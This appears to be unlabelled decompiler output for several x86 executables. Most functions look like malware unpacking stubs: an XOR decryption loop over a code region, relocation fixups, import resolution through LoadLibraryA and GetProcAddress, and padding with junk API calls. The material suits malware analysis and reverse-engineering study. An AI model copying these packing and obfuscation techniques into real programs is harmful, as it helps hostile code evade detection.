// address: 0x4012f8 void _start(int param1, int param2, int param3, int param4, RECT param5, int param6) { int eax; // r24 union { __size32 * x7; unsigned int x8; } eax_1; // r24{257} int ecx; // r25 int edx; // r26 unsigned int edx_1; // r26{338} int esp; // r28 eax = GetCurrentProcessId(); if (eax != 1019) { } CharUpperA(); OpenEventW(); GetDC(); eax = GetCurrentThreadId(); /* Warning: also results in ecx */ if (eax == 621) { ecx = ecx ^ param6; } if (ecx != 0) { } __set_app_type(); GetFileAttributesA(); CharUpperA(); GetProcessHeap(); CharUpperA(); OpenMutexA(); IsWindow(); eax = GetCurrentThreadId(); /* Warning: also results in ecx */ if ((eax & 0xae4) != ecx) { } eax = GetClientRect(0, ¶m5); /* Warning: also results in edx */ eax = eax | param4; if (eax != edx) { eax = (esp - 552); edx = edx ^ param2; edx = edx ^ param3; edx = edx & param1; } eax_1 = eax; edx_1 = edx; edx = edx_1 ^ 0x21cd; flags = SUBFLAGS32(eax_1, edx_1 ^ 0x21cd, eax_1 - (edx_1 ^ 0x21cd)); if (eax_1 != (edx_1 ^ 0x21cd)) { edx = (edx_1 ^ 0x21cd) + (edx_1 ^ 0x21cd) + (eax_1 < (unsigned int)(edx_1 ^ 0x21cd)); eax_1 = eax_1 - 0x3421; flags = SUBFLAGS32(eax_1, 0x3421, eax_1 - 0x3421); } if (eax_1 + edx + CF == 816) { } eax = CreateItemMoniker(); /* Warning: also results in edx */ if ((eax ^ 0x80070057) == 0) { if ((eax ^ 0x80070057) + edx == 0) { } } return; }
// address: 0x40106c void _start() { int ecx; // r25 __size32 edx; // r26 LoadLibraryA(0); ecx = GetCommandLineA(); /* Warning: also results in edx */ proc1(pc, pc, 0x15000, ecx, edx, SUBFLAGS32(0xae0809f2, 0x82903842, 0x2b77d1b0), 0, 0); }
/** address: 0x08048358 */ int main(int argc, char *argv[]) { __size32 eax; // r24 int ebp; // r29 unsigned int esp; // r28 __size32 esp_1; // r28{1} __size32 local0; // m[esp - 4] int local1; // m[esp - 8] unsigned int local2; // m[esp - 16] int local3; // m[esp + 4] char * *local4; // m[esp + 8] int local5; // m[esp - 12] (*0x8048328)(0x8048328, esp - 4, SUBFLAGS32((esp - 12), 0, esp - 12), esp == 12, esp < 12, ebp, 0x8048328, pc, argc, argv); *(__size32*)(ebp - 4) = 0x8048340; eax = *(ebp - 4); (*eax)(eax, ebp, <all>, flags, ZF, CF, local0, local1, local2, local3, local4); return 0; }
// address: 0x4074e0 void _start(__size32 param1) { __size32 ebp; // r29 unsigned int ebx; // r27 __size32 ecx; // r25 __size32 edx; // r26 __size32 edx_1; // r26{100} __size32 *esp; // r28 union { __size32 * x1; int x2; } esp_1; // r28{5} union { __size32 * x3; int x4; } esp_2; // r28{21} union { __size32 * x1; int x2; } esp_3; // r28{90} __size32 local0; // m[esp] __size32 local1; // m[esp - 56] union { __size32 * x1; int x2; } local4; // esp_3{90} esp_1 = (esp - 52); local4 = esp_1; if (param1 + global0 != 13) { esp_2 = esp - 56; local4 = esp_2; } esp_3 = local4; ebx = 8; edx = local0; edx_1 = edx; edx = edx_1 + 1; ecx = *(edx_1 + 1); ebx = ebx - global6 - 78; while (0xd6ff != (unsigned short) ecx) { edx_1 = edx; edx = edx_1 + 1; ecx = *(edx_1 + 1); ebx = ebx - global6 - 78; } (*edx_1 + 1)(local1, ebp, 7, (unsigned short) ecx, 7, ecx, edx_1 + 1, ebx - global6 - 0xd74d, esp - 4, 0x4075c6, 0x4075c6, SUBFLAGS32(ebx - global6 - 78, 0xd6ff, ebx - global6 - 0xd74d), ebx - global6 - 0xd74d == 0, (unsigned int)(ebx - global6 - 78) < 0xd6ff); return; }
// address: 0x401000 void _start(unsigned int param1) { short ax; // r0 unsigned char cl; // r9 __size32 eax; // r24 unsigned int eax_2; // r24{28} __size32 eax_3; // r24{245} __size32 ebp; // r29 unsigned int ebx; // r27 int *ebx_1; // r27 unsigned int ebx_2; // r27{31} unsigned int ebx_3; // r27{47} __size32 ebx_4; // r27{168} __size32 ebx_5; // r27{172} int *ebx_6; // r27{311} unsigned int ebx_7; // r27{238} __size32 ebx_8; // r27{305} int ecx; // r25 __size32 *ecx_1; // r25 __size32 *ecx_2; // r25{260} unsigned int ecx_3; // r25{160} unsigned int edi; // r31 int edx; // r26 unsigned int esi; // r30 __size32 *esi_1; // r30 unsigned int esi_10; // r30{247} unsigned int esi_11; // r30{286} unsigned int esi_12; // r30{271} unsigned int esi_13; // r30{262} union { unsigned int x7; __size32 * x8; } esi_14; // r30{313} unsigned int esi_2; // r30{12} unsigned int esi_3; // r30{57} unsigned int esi_4; // r30{69} unsigned int esi_5; // r30{101} unsigned int esi_6; // r30{128} __size32 *esi_7; // r30{218} union { unsigned int x7; __size32 * x8; } esi_8; // r30{185} unsigned int esi_9; // r30{253} int esp; // r28 void *esp_1; // r28{42} void *esp_2; // r28{298} unsigned int local0; // m[esp - 36] unsigned int local12; // m[esp - 36]{350} unsigned int local13; // ebx_7{238} unsigned int local14; // esi_10{247} unsigned int local15; // param1{248} unsigned int local16; // esi_9{253} unsigned int local17; // esi_13{262} unsigned int local18; // esi_12{271} unsigned int local19; // esi_11{286} __size32 local20; // ebx_8{305} union { unsigned int x7; __size32 * x8; } local21; // esi_14{313} __size32 *local22; // esi_7{331} union { __size32 * x5; unsigned int x6; } local23; // ecx{340} esi_2 = 0; eax_2 = AddAce(); local14 = esi_2; local15 = param1; ebx_2 = eax_2 + 22; eax = AreAnyAccessesGranted(); /* Warning: also results in ecx, esp_1 */ local13 = ebx_2; if (eax == 0) { ebx_3 = eax_2 - 12; local13 = ebx_3; } ebx_7 = local13; eax = 0; do { eax_3 = eax; esi_10 = local14; param1 = local15; local16 = esi_10; if (esi_10 == ebx_7) { esi_3 = 0; local16 = esi_3; } esi_9 = local16; edi = ecx + param1 * 4 + esi_9; cl = *(esi_9 + 0x404000); ecx = ecx >> 8 & 0xffffff | (cl); *(char*)(eax_3 + 0x401190) = *(eax_3 + 0x401190) ^ cl; eax = eax_3 + 1; esi_4 = esi_9 + 1; local14 = esi_4; local15 = edi; local17 = esi_4; } while (eax_3 + 1 < 0x1440); ecx_1 = 0x402490; ebx_1 = 0xf0400f10; local0 = 0; edi = esi_9 + edi * 4 + 1; do { ecx_2 = ecx_1; esi_13 = local17; local12 = local0; eax = *(ecx_2 + 4); edi = (eax - 8) / 2 + edi * 8; edx = ecx_2 + 8; local19 = esi_13; if ((int)((eax - 8) / 2) > 0) { esi_5 = (eax - 8) / 2; local18 = esi_5; do { esi_12 = local18; eax = *(unsigned short*)edx; edi = eax & 0xf000; if ((eax & 0xf000) == 0x3000) { eax = (eax & 0xfff) + *ecx_2; *(__size32*)(eax + 0x400f10) = *(eax + 0x400f10) - 0xfbff0f0; } edx++; esi_6 = esi_12 - 1; local18 = esi_6; local19 = esi_6; } while (esi_12 != 1); } esi_11 = local19; eax = *(ecx_2 + 4); ax = (unsigned short) eax; ecx_1 = ecx_2 + eax; cl = (unsigned char) ecx_2 + eax; local0 = local12 + eax; local17 = esi_11; local23 = ecx_1; } while (local12 + eax < 228); esi_1 = 0x401c84; edi += edi; flags = SUBFLAGS32(*0x401c94, 0, global10); if (*0x401c94 != 0) { do { esp_2 = esp_1; esi_14 = esi_1; edx = *(esi_14 + 12); *(__size32*)(esp_2 - 4) = edx + 0x400f10; eax = LoadLibraryA(*(esp_2 - 4)); /* Warning: also results in ecx_3 */ local21 = esi_14; local22 = esi_14; local22 = esi_14; edx = eax; *(union { unsigned int x3; void * x4; }*)(esp_2 + 20) = eax; ecx = ecx_3 * 3; cl = (unsigned char) ecx_3 * 3; if (eax != 0) { ebx_4 = *esi_14; local20 = ebx_4; if (ebx_4 == 0) { ebx_5 = *(esi_14 + 16); local20 = ebx_5; } ebx_8 = local20; edi = *(esi_14 + 16); ebx_1 = ebx_8 + 0x400f10; edi += 0x400f10; if (*(ebx_8 + 0x400f10) != 0) { L10: ebx_6 = ebx_1; esi_14 = local21; esi_8 = edi + esi_14 * 4; eax = *ebx_6; local21 = esi_8; if (eax >= 0) { cl = (unsigned char) eax + 0x400f12; *(__size32*)(esp_2 - 4) = eax + 0x400f12; goto L7; } else { *(unsigned int*)(esp_2 - 4) = ((unsigned short) eax); } L7: *(union { unsigned int x3; void * x4; }*)(esp_2 - 8) = edx; eax = GetProcAddress(*(esp_2 - 8), *(esp_2 - 4)); /* Warning: also results in ecx */ *(__size32*)edi = eax; ebx_1 = ebx_6 + 4; eax = ebx_6 + (eax + 1) * 4; ax = (unsigned short) eax; edi += 4; if (*(ebx_6 + 4) != 0) { edx = *(esp_2 + 20); goto L10; } esi_7 = *(esp_2 + 16); local22 = esi_7; } } esp_1 = esp_2; esi_7 = local22; esi_1 = esi_7 + 20; tmp1 = *(esi_7 + 36); flags = SUBFLAGS32(*(esi_7 + 36), 0, tmp1); *(void **)(esp_2 + 16) = esi_7 + 20; local23 = ecx; } while (*(esi_7 + 36) != 0); } ecx = local23; (*0x401960)(pc, -1, -1, 0, 0, 0x401c84, 0, 0, param1, esi, ebp, ebx, ax, cl, eax, ecx, 0x401960, ebx_1, 0x400f10, esi_1, edi, flags, ZF, CF); *(__size32*)(esp - 4) = 0; ExitProcess(*(esp - 4)); return; }
// address: 0x401000 void _start(unsigned int param1, __size32 param2) { unsigned char cl; // r9 __size32 eax; // r24 __size32 eax_1; // r24{27} int eax_2; // r24{245} int eax_3; // r24{162} __size32 ebp; // r29 unsigned int ebx; // r27 unsigned short *ebx_1; // r27 unsigned int ebx_10; // r27{261} union { unsigned int x11; unsigned short * x12; } ebx_11; // r27{335} __size32 ebx_12; // r27{300} union { unsigned int x11; unsigned short * x12; } ebx_13; // r27{323} union { unsigned int x11; unsigned short * x12; } ebx_14; // r27{292} union { unsigned int x11; void * x12; } ebx_15; // r27{347} unsigned int ebx_2; // r27{34} unsigned int ebx_3; // r27{44} unsigned int ebx_4; // r27{112} __size32 ebx_5; // r27{168} __size32 ebx_6; // r27{172} unsigned short *ebx_7; // r27{305} unsigned int ebx_8; // r27{239} unsigned int ebx_9; // r27{282} int ecx; // r25 __size32 *ecx_1; // r25 __size32 *ecx_2; // r25{259} __size32 edi; // r31 int edx; // r26 void *edx_1; // r26 __size32 esi; // r30 __size32 esi_1; // r30{12} __size32 *esi_10; // r30{221} __size32 *esi_11; // r30{219} __size32 *esi_12; // r30{214} __size32 esi_13; // r30{83} unsigned int esi_14; // r30{283} unsigned int esi_15; // r30{270} unsigned int esi_16; // r30{262} __size32 *esi_17; // r30{337} __size32 *esi_18; // r30{307} __size32 *esi_19; // r30{294} __size32 esi_2; // r30{72} __size32 *esi_20; // r30{349} __size32 esi_3; // r30{253} unsigned int esi_4; // r30{94} unsigned int esi_5; // r30{108} unsigned int esi_6; // r30{132} __size32 *esi_7; // r30{150} __size32 esi_8; // r30{177} __size32 *esi_9; // r30{180} int esp; // r28 int local1; // m[esp - 52] int local12; // m[esp - 48] __size32 *local2; // m[esp - 52] int local21; // m[esp - 52]{355} __size32 *local22; // m[esp - 52]{374} unsigned int local23; // m[esp - 84]{377} unsigned int local24; // ebx_8{239} __size32 local25; // esi_13{247} __size32 local26; // esi_3{253} unsigned int local27; // ebx_10{261} unsigned int local28; // esi_16{262} unsigned int local29; // esi_15{270} unsigned int local3; // m[esp - 84] unsigned int local30; // ebx_9{282} unsigned int local31; // esi_14{283} union { unsigned int x11; unsigned short * x12; } local32; // ebx_14{292} __size32 *local33; // esi_19{294} unsigned int local34; // param1{360} __size32 local35; // ebx_12{300} __size32 *local36; // esi_18{307} unsigned int local37; // local3{369} union { unsigned int x11; unsigned short * x12; } local38; // ebx_11{335} __size32 *local39; // esi_17{337} unsigned int local40; // local3{372} int local41; // eax_3{344} union { unsigned int x11; void * x12; } local42; // ebx_15{347} __size32 *local43; // esi_20{349} union { void * x13; int x14; } local5; // m[esp - 80] esi_1 = 0; eax_1 = AddAce(); local25 = esi_1; local34 = param1; ebx_2 = eax_1 + 37; eax = AreAllAccessesGranted(); local24 = ebx_2; if (eax == 0) { ebx_3 = eax_1 + 3; local24 = ebx_3; } ebx_8 = local24; CloseHandle(89); local27 = ebx_8; ecx = VirtualProtect(); /* Warning: also results in edx */ eax = 0; edi = param2; do { eax_2 = eax; esi_13 = local25; local26 = esi_13; if (esi_13 == ebx_8) { esi_2 = 0; local26 = esi_2; } esi_3 = local26; edi += edx * 9; cl = *(esi_3 + 0x404000); ecx = ecx >> 8 & 0xffffff | (cl); *(char*)(eax_2 + 0x401278) = *(eax_2 + 0x401278) ^ cl; eax = eax_2 + 1; esi_13 = esi_3 + 1; local25 = esi_13; } while (eax_2 + 1 < 0x1420); ecx_1 = 0x402558; esi_4 = ebx_8 + (esi_3 + 1) * 4; edi = 0xf0400ff8; local1 = 0; local28 = esi_4; do { ecx_2 = ecx_1; ebx_10 = local27; esi_16 = local28; local21 = local1; eax = *(ecx_2 + 4); edx_1 = ecx_2 + 8; local30 = ebx_10; local31 = esi_16; if ((int)((eax - 8) / 2) > 0) { esi_5 = (eax - 8) / 2; local29 = esi_5; do { esi_15 = local29; eax = *(unsigned short*)edx_1; ebx_4 = eax & 0xf000; local30 = ebx_4; if ((eax & 0xf000) == 0x3000) { eax = (eax & 0xfff) + *ecx_2; *(__size32*)(eax + 0x400ff8) = *(eax + 0x400ff8) - 0xfbff008; } edx_1++; esi_6 = esi_15 - 1; local29 = esi_6; local31 = esi_6; } while (esi_15 != 1); } ebx_9 = local30; esi_14 = local31; eax = *(ecx_2 + 4); ecx_1 = ecx_2 + eax; cl = (unsigned char) ecx_2 + eax; local1 = local21 + eax; local27 = ebx_9; local28 = esi_14; local32 = ebx_9; local41 = eax; local42 = ebx_9; } while ((unsigned int)(local21 + eax) < 228); flags = SUBFLAGS32(*0x401d64, 0, global11); esi_7 = 0x401d54; local2 = 0x401d54; local33 = esi_7; local43 = esi_7; if (*0x401d64 != 0) { do { ebx_14 = local32; esi_19 = local33; param1 = local34; edx = *(esi_19 + 12); eax_3 = LoadLibraryA(edx + 0x400ff8); /* Warning: also results in ecx_1 */ local37 = param1; local38 = ebx_14; local39 = esi_19; local40 = param1; edi = eax_3; if (eax_3 != 0) { ebx_5 = *esi_19; local35 = ebx_5; if (ebx_5 == 0) { ebx_6 = *(esi_19 + 16); local35 = ebx_6; } ebx_12 = local35; ebx_1 = ebx_12 + 0x400ff8; esi_8 = *(esi_19 + 16); eax = *(ebx_12 + 0x400ff8); esi_9 = esi_8 + 0x400ff8; flags = LOGICALFLAGS32(eax); local36 = esi_9; if (eax != 0) { do { ebx_7 = ebx_1; esi_18 = local36; if (flags) { cl = (unsigned char) eax + 0x400ffa; eax = GetProcAddress(edi, eax + 0x400ffa); /* Warning: also results in ecx_1 */ } else { eax = *(unsigned short*)ebx_7; eax = GetProcAddress(edi, eax); /* Warning: also results in ecx_1 */ edi = eax_3; } ebx_1 = ebx_7 + 4; *(__size32*)esi_18 = eax; eax = *(ebx_7 + 4); esi_12 = esi_18 + 4; flags = LOGICALFLAGS32(eax); local36 = esi_12; local37 = local3; } while (eax != 0); } eax_3 = eax; ebx_13 = ebx_1; local3 = local37; esi_11 = local2; local38 = ebx_13; local39 = esi_11; local40 = local3; } ebx_11 = local38; esi_17 = local39; local3 = local40; esi_10 = esi_17 + 20; tmp1 = *(esi_17 + 36); flags = SUBFLAGS32(*(esi_17 + 36), 0, tmp1); local2 = esi_17 + 20; local32 = ebx_11; local33 = esi_10; local34 = local3; local41 = eax_3; local42 = ebx_11; local43 = esi_10; } while (*(esi_17 + 36) != 0); } eax_3 = local41; ebx_15 = local42; esi_20 = local43; (*0x401a48)(local23, local5, pc, 0x401000, 0x3000, 64, esp - 40, -1, local22, local12, 0, 0, 0, 0, param2, esi, ebp, ebx, cl, eax_3, ecx_1, 0x401a48, ebx_15, 0x400ff8, esi_20, edi, flags, ZF, CF); *(__size32*)(esp - 4) = 0; ExitProcess(*(esp - 4)); return; }